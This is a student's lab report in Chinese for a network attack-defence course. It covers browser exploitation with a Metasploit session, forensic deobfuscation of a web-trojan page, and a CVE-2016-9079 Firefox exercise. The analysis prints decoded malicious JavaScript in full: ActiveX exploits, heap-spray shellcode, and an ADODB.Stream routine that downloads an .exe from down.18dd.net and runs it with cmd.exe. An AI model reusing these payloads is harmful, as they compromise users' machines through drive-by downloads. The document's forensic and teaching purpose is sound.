20232812 2023-2024-2 《网络攻防实践》第11次作业

一、实验内容

1.web浏览器渗透攻击：使用攻击机和Windows靶机进行浏览器渗透攻击实验，体验网页木马构造及实施浏览器攻击

2.取证分析实践—网页木马攻击场景分析

3.攻防对抗实践—web浏览器渗透攻击攻防

二、实验过程

1.

攻击机 192.168.200.88

靶机    192.168.200.6

老页面了，

攻击成功

用指令sessions -i 1，打开会话，此时攻击机可以在靶机上执行任何命令

2.

访问start.html，找到new09.htm的地址

计算http://aa.18dd.net/aa/kl.htm 地址和 http://js.users.51.la/1299644.js MD5加密后的值
分别为7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3

第一个不是

此文件被 XXTEA+Base64 加密了

找到了解密的密钥

将\x73\x63\x72\x69\x70\x74 转换为字符串，结果为script

再解密

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

转为字符串

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

存在四个漏洞:Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1、BaiduBar.Tool

分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞

把其中四个网站转为md5，并根据上述操作解密出字符串

第一个

解密后

var url="http://down.18dd.net/bb/014.exe";
try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);xml.Send();as.type=1;as.open();
as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);
as.close();var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

第二个

用的packed加密方法

var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)
  memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

第三个

用八进制字符串解密

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62
2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

第四个

是个压缩文件

四个exe文件大小一样，md5一样，分析其中一个

找到了，就是这个。

利用gpt分析这段代码试图通过利用AutoRun功能自动执行恶意活动，包括修改系统配置、下载和执行多个恶意文件、并利用系统和服务相关的API进行持久化操作。

3.

攻击者 （2812） 192.168.200.88

防守 （2805）   192.168.200.131

攻击成功

此漏洞是CVE-2016-9079

远程 Windows 主机上安装的 Mozilla Firefox ESR 版本为低于 45.5.1 的 45.x。因此，在处理 SVG 动画时，会受到 dom/smil/nsSMILTimeContainer.cpp 中释放后使用错误的影响。未经身份验证的远程攻击者可利用此问题，通过特制的网页取消引用已释放的内存，进而导致执行任意代码。

被攻击

三、实验心得与问题

1.感觉浏览器漏洞和系统漏洞差不多，但是浏览器漏洞使用者的好习惯可以避免一些攻击，比如不点乱七八糟的邮件连接等。

2.实验代码无法分析，太长了：直接去找这个漏洞，对其进行分析。

3.实验二那个代码又是加密又是混淆，参考了别的同学才找到解密方法。

4.win更新还是不能关闭，漏洞还是很危险的。